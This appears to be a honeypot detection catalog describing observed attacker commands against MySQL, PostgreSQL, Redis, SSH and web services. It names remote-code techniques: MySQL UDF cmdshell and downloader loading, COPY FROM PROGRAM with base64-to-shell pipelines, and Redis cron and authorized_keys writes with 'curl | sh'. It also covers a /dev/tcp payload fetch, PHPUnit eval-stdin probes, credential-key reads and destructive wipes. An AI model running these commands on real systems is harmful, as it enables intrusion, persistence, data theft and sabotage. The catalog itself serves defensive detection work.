mssql — MSSQL command invoking exec sp_server_info *, observed as a direct stored procedure call within the SQL session. This primitive captures the exact command execution used to request server information from the database engine, represented strictly as raw query activity without attribution or interpretation.
mssql — MSSQL query select 501,NULL,1 where 'a'='A' observed as a direct SQL statement within the session. The primitive captures the exact query content used to evaluate string comparison behavior in the database engine, represented strictly as raw query activity without attribution or interpretation.
mssql — MSSQL query selecting charset metadata from master.dbo.syscharsets and master.dbo.sysconfigures, observed as a direct SQL statement within the session. This primitive represents the exact query content used to retrieve server configuration and character set information, captured strictly as raw database activity without attribution or interpretation.
mysql — Calculates the total storage footprint of a database by summing table data and index sizes from information_schema, commonly used to assess data value before exfiltration, extortion, or destructive actions.
mysql — Creates a MySQL user-defined function named cmdshell by loading the shared library lib_mysqludf_sys.dll via CREATE FUNCTION ... SONAME, exposing system-level command execution functionality through the database.
mysql — Creates a MySQL user-defined function named cmdshell by loading the shared library udf32.dll via CREATE FUNCTION ... SONAME, exposing system command execution functionality through the database.
mysql — Creates a MySQL user-defined function named cmdshell by loading the shared library udf33.dll via CREATE FUNCTION ... SONAME, exposing system command execution functionality through the database.
mysql — Creates a MySQL user-defined function named cmdshell by loading the shared library xijin1.dll via CREATE FUNCTION ... SONAME, exposing system command execution functionality through the database.
mysql — Creates a MySQL user-defined function named cmdshell by loading the shared library xijin.dll via CREATE FUNCTION ... SONAME, exposing system command execution functionality through the database.
mysql — Creates a MySQL user-defined function named cmdshell by loading a shared library (xsa.dll) via CREATE FUNCTION ... SONAME. This is typically used to introduce command execution capabilities on the host through the database, indicating post-authentication exploitation or privilege abuse.
mysql — Creates a MySQL user-defined function named cmdshelv by loading the shared library udf.dll via CREATE FUNCTION ... SONAME, exposing system command execution functionality through the database.
mysql — Creates a MySQL user-defined function named downloader by loading the shared library lib_mysqludf_sys.dll via CREATE FUNCTION ... SONAME, exposing custom native functionality through the database server.
mysql — Creates a MySQL user-defined function named downloader by loading the shared library udf32.dll via CREATE FUNCTION ... SONAME, exposing custom native functionality through the database server.
mysql — Creates a MySQL user-defined function named downloader by loading the shared library udf33.dll via CREATE FUNCTION ... SONAME, exposing custom native functionality through the database server.
mysql — Creates a MySQL user-defined function named downloader by loading the shared library xijin1.dll via CREATE FUNCTION ... SONAME, exposing custom native functionality through the database server.
mysql — Creates a MySQL user-defined function named downloader by loading the shared library xijin.dll via CREATE FUNCTION ... SONAME, exposing custom native functionality through the database server.
mysql — Creates a MySQL user-defined function named downloader by loading a shared library (xsa.dll) via CREATE FUNCTION ... SONAME, enabling custom functionality to be executed within the database server context.
mysql — Creates a MySQL user-defined function named shell by loading the shared library udf.dll via CREATE FUNCTION ... SONAME, exposing system command execution functionality through the database.
mysql — Creates a MySQL user-defined function (UDF) by loading a shared library (udf.dll) via CREATE FUNCTION ... SONAME. This is commonly associated with attempts to introduce custom native code execution capabilities into the database server, often following successful authentication or exploitation.
mysql — Creates a database with a ransom-style name, commonly used in database extortion campaigns to signal compromise and pressure the victim into paying
mysql — Creates a table with a ransom-style name, often used to plant extortion messages or artifacts inside a compromised database
mysql — Disables MySQL autocommit mode, indicating the start of an explicit transaction where changes won’t be committed unless explicitly requested (often used in multi-step operations or abuse chains)
mysql — Disables MySQL autocommit mode, indicating the start of an explicit transaction where changes won’t be committed unless explicitly requested (often used in multi-step operations or abuse chains)
mysql — Attempts to drop databases using a wildcard identifier, typically reflecting destructive intent, malformed automation, or a blunt mass-deletion attempt during database compromise.
mysql — Executes the MySQL FLUSH PRIVILEGES command, forcing the server to reload privilege tables from the mysql system database so that recent changes to user permissions take effect immediately.
mysql — Inserts a marker value into a ransom-named table, typically used to populate or signal an extortion message within a compromised database
mysql — Revokes the INSERT, DELETE, CREATE, and DROP privileges on all tables within a specific MySQL database (%s.*) from a specified user account using the REVOKE statement.
mysql — Execution of a MySQL metadata query against information_schema.COLUMNS to enumerate table names and associated column names within the app database schema. This query exposes detailed dataset structure and field naming conventions, commonly observed during structured database reconnaissance or automated interaction to identify sensitive fields, credential storage patterns, or high-value data targets for subsequent access or extraction.
mysql — Execution of a MySQL metadata query against information_schema.tables to enumerate table names within the app database schema and calculate their combined data and index storage size. This query provides visibility into dataset footprint and table storage distribution, commonly observed during structured database reconnaissance, capacity assessment, or preparation for targeted data access operations.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.api_keys to determine the total number of records stored in the api_keys table within the app database schema. This action reveals dataset scale and is commonly observed during targeted database reconnaissance or scripted interaction to assess the volume of credential-related entries prior to further enumeration or data retrieval attempts.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.audit_logs to determine the total number of records stored in the audit_logs table within the app database schema. This action provides visibility into the volume of historical activity or event logging data and is commonly observed during targeted database reconnaissance or scripted interaction to assess dataset size prior to further enumeration or data access attempts.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.backups to determine the total number of records stored in the backups table within the app database schema. This query reveals the presence and scale of stored backup metadata or backup-related entries and is commonly observed during targeted database reconnaissance or automated interaction to assess data protection artifacts prior to further enumeration or access attempts.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.feature_flags to determine the total number of records stored in the feature_flags table within the app database schema. This action reveals the scale of configuration or feature toggle entries and is commonly observed during targeted database reconnaissance or scripted interaction to assess application configuration datasets prior to further enumeration or data access attempts.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.jobs to determine the total number of records stored in the jobs table within the app database schema. This action provides visibility into the volume of scheduled or background task entries and is commonly observed during targeted database reconnaissance or automated interaction to assess operational dataset scale prior to further enumeration or data access attempts.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.projects to determine the total number of records stored in the projects table within the app database schema. This action reveals the scale of project-related dataset entries and is commonly observed during targeted database reconnaissance or scripted interaction to assess application data volume prior to further enumeration or data access attempts.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.sessions to determine the total number of records stored in the sessions table within the app database schema. This action provides visibility into the volume of active or historical session entries and is commonly observed during targeted database reconnaissance or automated interaction to assess authentication-related dataset scale prior to further enumeration or data access attempts.
mysql — Execution of the MySQL query SELECT COUNT(*) FROM app.users to determine the total number of records stored in the users table within the app database schema. This action reveals the scale of user account data and is commonly observed during targeted database reconnaissance or scripted interaction to assess identity dataset volume prior to further enumeration or data access attempts.
mysql — Invokes the downloader function with a remote URL and a Windows file path (C:\exiles.exe), retrieving the exiles.exe payload and writing it to disk via the UDF.
mysql — Executes a metadata enumeration query against information_schema.columns to retrieve all table_name and column_name entries for user-defined databases, explicitly excluding system schemas (information_schema, mysql, performance_schema, sys). In intrusion sessions, this is a high-signal reconnaissance primitive used to map the full database structure prior to targeted data extraction, credential harvesting, or application-specific exploitation.
mysql — Execution of a MySQL query against the TABLES metadata table to enumerate user-defined database schemas and their table statistics while explicitly excluding default system schemas (information_schema, mysql, performance_schema, sys). The query retrieves database name, table name, estimated row count, total data size, and average row size, indicating structured reconnaissance or data footprint assessment of accessible MySQL datasets.
mysql — Executes a query to retrieve the MySQL server distribution/comment string using SELECT @@version_comment LIMIT 1. This is typically used for fingerprinting the database backend (e.g., MySQL, MariaDB, Percona) and may indicate reconnaissance or post-authentication environment discovery.
mysql — Execution of the MySQL query SELECT VERSION() to retrieve the database server version string. This command is commonly used during initial interaction or reconnaissance to fingerprint the MySQL service, determine patch level and feature availability, and assess potential vulnerability exposure based on the reported version.
mysql — Invokes the xpdl3 function with a remote URL and a Windows file path (C:\exiles.exe), retrieving the exiles.exe payload and writing it to disk via the UDF.
mysql — Execution of the MySQL session command SET NAMES utf8mb3, which configures the client-server connection character set for subsequent queries and result handling. This command typically appears during session initialization or tool-driven interaction to ensure proper encoding compatibility when issuing queries or retrieving data.
mysql — Executes the MySQL session command SET NAMES utf8mb4, which configures the client connection character set to utf8mb4. In interactive or automated intrusion sessions, this is commonly used by attackers or tooling to ensure full Unicode support (including 4-byte characters) before issuing queries, modifying schema, or inserting payload data.
mysql — Execution of the MySQL session command SET NAMES 'utf8mb4' COLLATE 'utf8mb4_general_ci' to configure the connection character set and collation for subsequent queries and result handling. This command is typically observed during session initialization or tool-driven interaction to ensure full Unicode encoding compatibility and consistent string comparison behavior when accessing or modifying database content.
mysql — Enumerates all accessible MySQL databases to discover available schemas, application context, and data targets. Commonly used during post-access reconnaissance to identify high-value datasets, infer deployed applications, and prioritize follow-on enumeration or extraction activity.
mysql — Execution of the MySQL administrative query SHOW DATABASES to enumerate all databases accessible to the current session. This action reveals available schema names and is commonly used during initial service interaction or reconnaissance to map the database environment and identify potential targets for further enumeration or data access.
mysql — Execution of the MySQL administrative query SHOW TABLES FROM analytics to enumerate table names within the analytics database schema. This query reveals dataset structure and is typically observed during targeted database reconnaissance or scripted interaction aimed at identifying tables of interest for further metadata inspection or data retrieval.
mysql — Execution of the MySQL administrative query SHOW TABLES FROM app to enumerate table names within the app database schema. This action exposes application dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify tables for subsequent metadata queries or data extraction attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES FROM app_dev to enumerate table names within the app_dev database schema. This action exposes development dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify tables of interest for subsequent metadata inspection or data access attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES FROM app_prod to enumerate table names within the app_prod database schema. This action exposes production dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify tables of interest for subsequent metadata inspection or data retrieval attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES FROM backup to enumerate table names within the backup database schema. This action reveals backup dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify archival or replicated tables for subsequent metadata inspection or data access attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES FROM logs to enumerate table names within the logs database schema. This action exposes logging dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify event, audit, or telemetry tables for subsequent metadata inspection or data access attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES FROM metrics to enumerate table names within the metrics database schema. This action reveals monitoring or telemetry dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify tables of interest for subsequent metadata inspection or data access attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES IN app to enumerate table names within the app database schema. This action reveals application dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify tables for subsequent metadata queries or data access operations.
mysql — Execution of the MySQL administrative query SHOW TABLES IN app_prod to enumerate table names within the app_prod database schema. This action exposes production dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify tables of interest for subsequent metadata inspection or data access attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES IN backup to enumerate table names within the backup database schema. This action reveals backup dataset structure and is commonly observed during targeted database reconnaissance or automated interaction to identify stored data copies, archival tables, or potential restoration artifacts for subsequent metadata inspection or data access attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES IN information_schema to enumerate metadata table names within the information_schema system database. This action exposes internal catalog structure and is commonly observed during structured database reconnaissance or automated interaction to identify available metadata sources for subsequent environment mapping, schema inspection, or privilege-aware enumeration.
mysql — Execution of the MySQL administrative query SHOW TABLES IN mysql to enumerate table names within the mysql system database. This action exposes internal authentication, privilege, and server configuration dataset structure and is commonly observed during structured database reconnaissance or automated interaction to identify security-relevant tables for subsequent metadata inspection or access attempts.
mysql — Execution of the MySQL administrative query SHOW TABLES IN performance_schema to enumerate instrumentation and runtime monitoring table names within the performance_schema system database. This action exposes internal performance telemetry dataset structure and is commonly observed during structured database reconnaissance or automated interaction to identify monitoring data sources for subsequent environment analysis or workload inspection.
mysql — Execution of the MySQL administrative query SHOW TABLES IN sys to enumerate helper and diagnostic view names within the sys system database. This action exposes high-level performance, configuration, and operational insight views and is commonly observed during structured database reconnaissance or automated interaction to identify convenient aggregated metadata sources for subsequent environment analysis or privilege-aware inspection.
mysql — Executes the MySQL metadata enumeration command SHOW TABLE STATUS, which retrieves detailed information about tables in the current database, including engine type, row count estimates, data size, index size, creation/update timestamps, and collation. In intrusion sessions, this is typically used for database reconnaissance to assess table structure, storage engines (e.g., InnoDB/MyISAM), and data volume before dumping data, modifying schema, or identifying high-value targets.
mysql — Collects MySQL server configuration and runtime environment details by enumerating global and session variables. Commonly used for post-access reconnaissance to fingerprint database version, enabled features, security settings, filesystem paths, and operational limits prior to exploitation or lateral movement.
mysql — Retrieves MySQL warning and notice messages generated by prior queries to inspect execution side effects, suppressed errors, implicit type coercions, and permission-related feedback. Commonly used during interactive probing to validate query behavior, detect silent failures, and refine exploitation techniques without triggering hard errors.
mysql — Executes the MySQL SHUTDOWN command, instructing the database server to terminate the MySQL daemon process and stop accepting connections, causing the database service to go offline.
mysql — Determines the MySQL server’s local timezone offset by comparing server local time against UTC. Used to infer host geographic configuration, deployment environment defaults, and potential region-specific behavior during post-access database reconnaissance.
mysql — Execution of the MySQL transactional control statement ROLLBACK to abort the current transaction and revert any uncommitted changes made during the session. This command is typically observed during interactive database sessions or automated workflows to maintain transactional integrity after errors, failed operations, or exploratory query activity.
mysql — Attempts to change the active database using a wildcard identifier, indicating malformed automation or a blunt database selection attempt during reconnaissance or destructive operations.
mysql — Selects a ransom-named database as the active context, typically part of a database extortion or intimidation workflow following unauthorized access
ssh — Execution of test -f /etc/opencanaryd/opencanary.conf && echo FOUND to verify the existence of the default OpenCanary configuration file and emit a marker string if present. This pattern reflects targeted detection of an OpenCanary deployment prior to continued attacker activity.
ssh — Execution of test -f /var/log/opencanary.log && echo FOUND to verify the presence of the default OpenCanary log file and emit a marker string if found. This pattern reflects targeted detection of an OpenCanary deployment by checking for its standard runtime log artifact prior to continued attacker activity.
ssh — Execution of grep -c ':' /etc/passwd 2>/dev/null to count the number of colon-delimited entries in /etc/passwd, effectively returning the total number of user account records. This pattern reflects local account enumeration and environment profiling activity, commonly performed after shell access to assess system population or detect sandbox anomalies.
ssh — Execution of grep -c '^username:' /etc/passwd 2>/dev/null to check for the existence of a specific local user account by counting matching entries in /etc/passwd. The anchored caret (^) ensures only exact username matches at the start of a line are evaluated, and the use of -c suggests programmatic interpretation of the result. This pattern reflects targeted local account presence verification following shell access.
https — Inline PHP code that reads $_SERVER['SERVER_PROTOCOL'] and invokes header() to return a non-standard HTTP status line "654 lol", acting as a deterministic marker of successful PHP code execution.
https — Request using pearcmd with +config-create+ to write a PHP payload containing md5("hi") to /tmp/index1.php, indicating a targeted file-write and execution verification attempt via PEAR command injection.
https — PHP payload echoing md5("Hello PHPUnit"), indicating a verification marker commonly used in PHPUnit-related remote code execution attempts to confirm successful execution.
https — Request to /vendor/phpunit/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint in the legacy (non-src) path variant.
https — Request to /lib/phpunit/phpunit/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint within a lib/phpunit/phpunit nested directory structure using the legacy (non-src) path variant.
https — Request to /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint within a lib/phpunit/phpunit nested directory structure using the src path variant.
https — Request to /lib/phpunit/src/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint within a lib/phpunit directory structure using the src path variant.
https — Request to /phpunit/phpunit/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint via a nested phpunit/phpunit directory structure using the legacy (non-src) path variant.
https — Request to /phpunit/phpunit/src/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint via a nested phpunit/phpunit directory structure using the src path variant.
https — Request to /phpunit/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint using the legacy (non-src) path variant without a nested vendor directory.
https — Request to /phpunit/src/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint using the src path variant without a nested vendor directory.
https — Request to /vendor/phpunit/src/Util/PHP/eval-stdin.php, indicating access to the PHPUnit eval-stdin execution endpoint in the src path variant.
https — Request to /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php, indicating access to PHPUnit’s eval-stdin execution endpoint.
postgres — Uses PostgreSQL’s COPY FROM PROGRAM feature to execute an external system command in a detached, non-interactive manner. The command is explicitly backgrounded, survives session termination (nohup), and suppresses all output streams, indicating an intent to deploy or trigger a payload without retrieving results through the database. In a honeypot context, this primitive is a high-confidence signal of automated exploitation focused on persistence, lateral activity, or long-running processes rather than command validation or interactive control.
postgres — Uses PostgreSQL’s COPY FROM PROGRAM feature to execute an external system command and ingest its output into a table. In a honeypot context, this primitive is a high-confidence indicator of remote command execution, where the database is being abused as an execution primitive rather than for data storage. The presence of shell pipelines and decoding stages (for example base64 decoding piped into a shell) is characteristic of automated exploitation, payload staging, and post-compromise execution chains targeting misconfigured or overly privileged PostgreSQL instances.
postgres — Creates a new PostgreSQL role with login capability and superuser privileges while explicitly setting a password. In a honeypot context, this primitive represents an attempt to establish persistent, high-privilege access within the database by introducing a backdoor administrative account. This behavior is strongly associated with post-compromise persistence, privilege escalation, and preparation for repeated or long-term access rather than opportunistic or read-only reconnaissance.
postgres — Creates a new table with a schema designed to store command output, typically consisting of a single text column such as cmd_output. In a honeypot context, this primitive strongly suggests preparation for command execution or data staging, where subsequent queries insert or read execution results. This pattern is commonly observed in automated exploitation frameworks and post-exploitation tooling that leverage PostgreSQL as a persistence or output channel rather than as a traditional relational datastore.
postgres — Queries the total on-disk size of a specified PostgreSQL database using pg_database_size. In a honeypot context, this primitive typically signals reconnaissance or environment profiling, where an attacker or automated tool is assessing data volume, storage usage, or the overall value of the target before proceeding with further actions such as data exfiltration, destructive operations, or resource-based decision making.
postgres — Executes a DROP TABLE statement to permanently remove one or more tables from a PostgreSQL database. In a honeypot context, this primitive is a strong indicator of destructive intent or cleanup behavior, commonly associated with automated wipe attempts, post-exploitation artifact removal, or efforts to erase evidence after command execution or data staging.
postgres — Executes a DROP TABLE IF EXISTS statement targeting one or more tables in a PostgreSQL database. In a honeypot context, this primitive represents an explicit attempt to remove database structures while suppressing errors if the tables do not exist. This behavior is strongly associated with destructive automation, wipe scripts, post-compromise cleanup attempts, or poorly secured maintenance routines, and is highly unlikely to occur during benign exploratory activity.
postgres — Indicates the presence of a PostgreSQL single-line comment marker (--) used by a client or automated probe to test query parsing, connection responsiveness, or potential SQL injection behavior. This primitive reflects minimal interaction where the actor submits a comment-only or comment-prefixed statement as a “ping” to observe server handling, syntax tolerance, or error responses.
postgres — Represents a PostgreSQL prepared statement reference using the exact auto-generated statement cache identifier stmtcache_d5e798036d936623055430b36bb1d1608079a2ce1c4c2405. This primitive captures a specific prepared-statement execution or lifecycle event originating from a client driver or ORM that employs deterministic hash-based statement caching for query reuse, connection probing, or metadata interaction.
postgres — PostgreSQL query consisting solely of the ; statement terminator, observed as an empty command execution within the SQL session stream.
postgres — Revokes the pg_execute_server_program privilege from the postgres role, removing its ability to execute external system commands via features such as COPY FROM PROGRAM. In a honeypot context, this primitive typically indicates an attempt to alter the server’s security posture after exploitation—either to prevent competing attackers from executing commands, to reduce detection surface after deploying a payload, or as a misguided hardening step performed by automation that previously relied on this capability.
postgres — Captures a PostgreSQL metadata enumeration query that retrieves the current database’s character encoding and locale configuration by selecting pg_catalog.pg_encoding_to_char(d.encoding), d.datcollate, and d.datctype from pg_catalog.pg_database where d.datname = current_database(). This primitive reflects reconnaissance activity aimed at understanding database encoding, collation, and character classification settings for environment fingerprinting or query compatibility planning.
postgres — Executes a SELECT * FROM <table> query to retrieve all rows and columns from a specific PostgreSQL table. In a honeypot context, this primitive represents direct data access following table discovery or creation, and is commonly observed during verification steps in automated exploitation chains, data exfiltration attempts, or post-execution checks where an attacker is confirming that staged output or payload results were successfully written and can be read back.
postgres — Queries the PostgreSQL configuration parameter server_version to retrieve the running database version. In a honeypot context, this primitive represents lightweight service fingerprinting, commonly used by automated tools and attackers to assess exploit compatibility or confirm environment details before or after attempting version-specific exploitation techniques.
postgres — Retrieves the PostgreSQL server version string using SELECT version(). In a honeypot context, this primitive represents classic service fingerprinting, where a client is identifying the exact PostgreSQL version, build details, and platform information to assess exploitability, select version-specific payloads, or tailor subsequent reconnaissance and attack steps.
postgres — Retrieves the PostgreSQL server version string using SELECT version(). In a honeypot context, this primitive represents classic service fingerprinting, where a client is identifying the exact PostgreSQL version, build details, and platform information to assess exploitability, select version-specific payloads, or tailor subsequent reconnaissance and attack steps.
postgres — Retrieves the PostgreSQL server version string using SELECT version(). In a honeypot context, this primitive represents classic service fingerprinting, where a client is identifying the exact PostgreSQL version, build details, and platform information to assess exploitability, select version-specific payloads, or tailor subsequent reconnaissance and attack steps.
ssh — Execution of cat /proc/uptime 2>/dev/null | awk '{print $1}' to retrieve the system uptime value in seconds from /proc/uptime while suppressing error output and extracting only the primary numeric field. The use of awk indicates programmatic evaluation of system runtime, reflecting environment profiling or sandbox realism assessment following shell access.
rdp — Matches RDP sessions where the client attempts authentication using the legacy RDP security mode with plaintext credential exchange instead of Network Level Authentication (NLA). This method transmits credentials through the older RDP security layer and indicates the client selected legacy authentication rather than CredSSP-based NLA
rdp — Matches RDP sessions where the authentication method is Network Level Authentication (NLA) using NTLM. This occurs during the CredSSP security negotiation phase when the client performs NTLM challenge–response authentication before a remote desktop session is established. Indicates the client selected NLA with NTLM as the credential exchange mechanism rather than legacy plaintext RDP authentication.
ssh — Execution of find /var/log -name '*.json' -newer /tmp 2>/dev/null | grep -iE 'cowrie|kippo|honey' | head -1 to locate recently modified JSON log files under /var/log and search for case-insensitive references to “cowrie”, “kippo”, or “honey”, returning only the first match. The use of -newer /tmp suggests interest in active or recently written logs, indicating automated detection of running honeypot activity based on structured log artifacts rather than static installation paths.
redis — Detects execution of the Redis CLIENT LIST command, which returns information about all connected clients, including IP addresses, connection state, idle time, and command activity.
redis — Redis command containing the exact byte sequence 2À8@fj¢£5, observed verbatim in the input stream as a raw client payload.
redis — Redis command containing the exact byte sequence beginning with \xCA\xC6**\xDD\xFF\xA7\x7C…, captured verbatim from the input stream. This primitive represents a single unique command payload and is not reused for other binary inputs.
redis — Redis command containing the exact byte sequence Ìgk39<=/5À, observed verbatim in the input stream as a raw client payload.
redis — Redis command consisting of the single byte ÿ (0xFF), observed verbatim in the input stream as raw client data.
redis — HTTP GET /solr/admin/cores?action=STATUS&wt=json request sent to a Redis service port, indicating a cross-protocol probe where a Solr administrative status endpoint is queried against a non-HTTP service.
redis — HTTP Connection: close header observed within an HTTP-formatted request sent to the Redis service port, indicating the client requests the connection to be closed after the response.
redis — HTTP Host header targeting port 6379, observed within an HTTP-formatted request sent to the Redis service port. The * represents an internal wildcard used for pattern matching, not literal client input.
redis — HTTP User-Agent header identifying Go-http-client/1.1, observed within an HTTP-formatted request sent to the Redis service port.
redis — Issues the Redis COMMAND command to enumerate supported commands and their metadata (arity, flags, key positions), typically used for capability discovery, version fingerprinting, or to identify potentially dangerous commands exposed by the server.
redis — Uses the Redis CONFIG SET dbfilename command to change the RDB snapshot filename, a technique commonly associated with attempts to control where Redis persistence writes data, often as a preparatory step for file-write or overwrite exploitation.
redis — Uses the Redis CONFIG SET dbfilename crontab command to set the persistence filename to crontab, a technique commonly used in Redis exploitation chains to overwrite or create cron-related files when combined with directory manipulation, enabling persistent command execution.
redis — Detects a Redis CONFIG SET dbfilename <name> command where the RDB snapshot filename is changed to a custom value (e.g., zzh). This behavior is commonly observed during Redis exploitation chains, where an attacker first modifies the working directory (e.g., to /etc/cron.d, /root/.ssh/, or /var/spool/cron/) and then changes the dump filename so that a subsequent SAVE or BGSAVE writes attacker-controlled content to a sensitive path. On its own, changing dbfilename indicates preparatory filesystem manipulation. In sequence with CONFIG SET dir and SAVE, it strongly signals an attempt to achieve persistence or privilege escalation via cron job injection or SSH authorized_keys overwrite.
redis — Uses the Redis CONFIG SET dbfilename httpgd command to set a specific persistence filename, commonly observed in Redis exploitation chains where attackers select a short or inconspicuous filename to evade attention while writing attacker-controlled content to disk.
redis — Uses the Redis CONFIG SET dbfilename root command to change the persistence filename to root, typically as part of a cron-job or arbitrary file-write exploitation chain, where Redis is coerced into writing attacker-controlled content into privileged system locations for persistence or code execution.
redis — Uses the Redis CONFIG SET dir /var/spool/cron/ command to change the working directory for persistence files to the system cron directory, a critical step in Redis exploitation chains that enables writing malicious cron jobs for privilege escalation or persistent remote code execution.
redis — Detects a Redis CONFIG SET dir /etc/cron.d command, which changes the Redis working directory to the system cron directory. This is a well-known exploitation technique used after gaining write access to an exposed Redis instance. By redirecting the dump directory to /etc/cron.d, attackers can subsequently use SAVE or BGSAVE to write a malicious cron file to disk, achieving persistent command execution on the host.
redis — Uses the Redis CONFIG SET dir /var/spool/cron/crontabs command to redirect Redis persistence output to the per-user cron directory, a common step in Redis exploitation chains that enables attackers to write malicious crontab entries and establish persistent command execution.
redis — Uses the Redis CONFIG SET dir command to change the Redis working directory to the current directory (.), altering where Redis writes database snapshot files.
redis — Uses the Redis CONFIG SET dir /etc/ command to change the persistence output directory to the system configuration path, enabling arbitrary file writes into a highly sensitive location and commonly indicating an active Redis exploitation attempt.
redis — Uses the Redis CONFIG SET dir /etc/cron.d/ command to redirect Redis persistence output to the system-wide cron directory, enabling attackers to write arbitrary cron files and establish high-privilege persistence as part of a Redis file-write exploitation chain.
redis — Uses the Redis CONFIG SET dir command to change the Redis working directory to /root/.ssh/, a technique commonly used in Redis exploitation to position database writes into the root user's SSH directory for potential authorized_keys file injection.
redis — Uses the Redis CONFIG SET rdbcompression no command to disable RDB snapshot compression, ensuring that written database files remain uncompressed. This is commonly done during Redis exploitation to ensure injected payloads (such as SSH keys or cron entries) are written to disk exactly as provided.
redis — Uses the Redis CONFIG SET rdbcompression yes command to enable RDB snapshot compression, configuring Redis to compress data when writing database snapshot files to disk.
redis — Uses the Redis CONFIG SET stop-writes-on-bgsave-error no command to disable write protection after background save failures, typically to ensure subsequent write or save operations continue uninterrupted, and often observed as part of persistence-abuse or file-write exploitation chains.
redis — Sets a Redis-backed cron entry named backup3 with a 4-minute execution interval that fetches a remote payload from http://*.*.*.*/plugins-dist/safehtml/lang/font/kworker using curl -fsSL and immediately pipes it to sh for execution, indicating automated remote code execution and persistence via cron.
redis — Sets a Redis-backed cron entry named backup3 running every 4 minutes as root, fetching a remote payload via curl -fsSL over HTTP and piping it directly to sh, indicating privileged remote code execution and cron-based persistence.
redis — Sets a Redis-backed cron entry named backup4 executing every 5 minutes as root, using wd1 -q -O- (wget-variant masquerade/typo) to retrieve a remote payload over HTTP and pipe it directly into sh, indicating privileged cron-based persistence and automated remote code execution.
redis — Sets a Redis-backed cron entry named backup4 with a 5-minute execution interval that uses wd1 -q -O- (wget-variant typo masquerading as wget) to fetch a remote payload over HTTP and pipe it directly into sh, indicating automated remote code execution and cron-based persistence.
redis — Uses the Redis EVAL command to execute embedded Lua code that dynamically loads the Lua io library via package.loadlib, spawns a shell with io.popen, retrieves a payload from a remote host using a raw /dev/tcp socket (GET /linux), writes the binary to /tmp/TsT5gUhKGJ, sets executable permissions, and executes the downloaded payload with a long encoded argument.
redis — Issues the Redis FLUSHALL command to immediately delete all keys from all databases, erasing in-memory data and optionally persisted state, a highly destructive operation commonly associated with malicious activity, sabotage, or misconfigured automation rather than legitimate application behavior.
redis — Executes the Redis FLUSHDB command, deleting all keys and data from the currently selected Redis database, permanently clearing its contents.
redis — Detects execution of the Redis GET command against the key config:cloud_credentials. This operation retrieves the full value stored under a configuration key that likely contains cloud provider access credentials or secret material.
redis — Detects execution of the Redis GET command against the key config:database. This operation retrieves the stored value of a configuration key that likely contains database connection details such as host, username, password, or DSN information.
redis — Detects execution of the Redis GET command against the key config:encryption_key. This operation retrieves the full value stored under a configuration key that likely contains cryptographic key material or encryption secrets used by the application.
redis — Detects execution of the Redis GET command against the key config:jwt_secret. This operation retrieves the stored value of a configuration key likely containing the application's JWT signing secret.
redis — Detects execution of the Redis GET command against the key config:mail_api_key. This operation retrieves the stored value of a configuration key likely containing a third-party mail service API credential.
redis — Detects execution of the Redis GET command against the key config:payment_api_key. This operation retrieves the stored value of a configuration key likely containing a payment provider API credential.
redis — Detects execution of the Redis GET command against the key config:vcs_token. This operation retrieves the stored value of a configuration key likely containing a version control system (VCS) access token (e.g., GitHub, GitLab, or Bitbucket).
redis — Detects execution of the Redis GET command against the key config:webhook_url. This operation retrieves the stored value of a configuration key likely containing an outbound webhook endpoint URL used for application event delivery or third-party integrations.
redis — Detects execution of the Redis GET command against the key internal:admin_url. This operation retrieves the stored value of a key likely containing an internal administrative interface URL or privileged service endpoint.
redis — Detects execution of the Redis GET command against the key internal:api_url. This operation retrieves the stored value of a key likely containing an internal backend API endpoint used for service-to-service communication.
redis — Detects execution of the Redis GET command against the key internal:metrics_url. This operation retrieves the stored value of a key likely containing an internal monitoring or metrics endpoint URL (e.g., Prometheus, health, or stats interfaces).
redis — Detects execution of the Redis HGETALL command against a hash key following the pattern apikey:sk_live_<32 hex>. This operation retrieves all fields and values stored within the targeted API key hash, indicating direct data extraction of a specific credential object. When the key structure resembles live API credentials (sk_live_), this behavior reflects targeted secret access rather than general enumeration. It is typically observed after prior key discovery activity (e.g., KEYS *) and represents active credential harvesting from a compromised or exposed Redis instance.
redis — Detects execution of the Redis HGETALL command against a user-scoped cache key following the pattern cache:user:<numeric_id>. This operation retrieves all fields and values stored in the hash representing a specific cached user object.
redis — Detects execution of the Redis HGETALL command against the key features:flags. This operation retrieves all fields and values from a hash-based feature flag configuration object, exposing the full set of application feature toggles and their states.
redis — Issues a Redis "info" command to retrieve server metadata such as version, uptime, memory usage, persistence status, replication role, and connected clients, commonly used for environment profiling and capability discovery.
redis — Issues a Redis INFO command to retrieve server metadata such as version, uptime, memory usage, persistence status, replication role, and connected clients, commonly used for environment profiling and capability discovery.
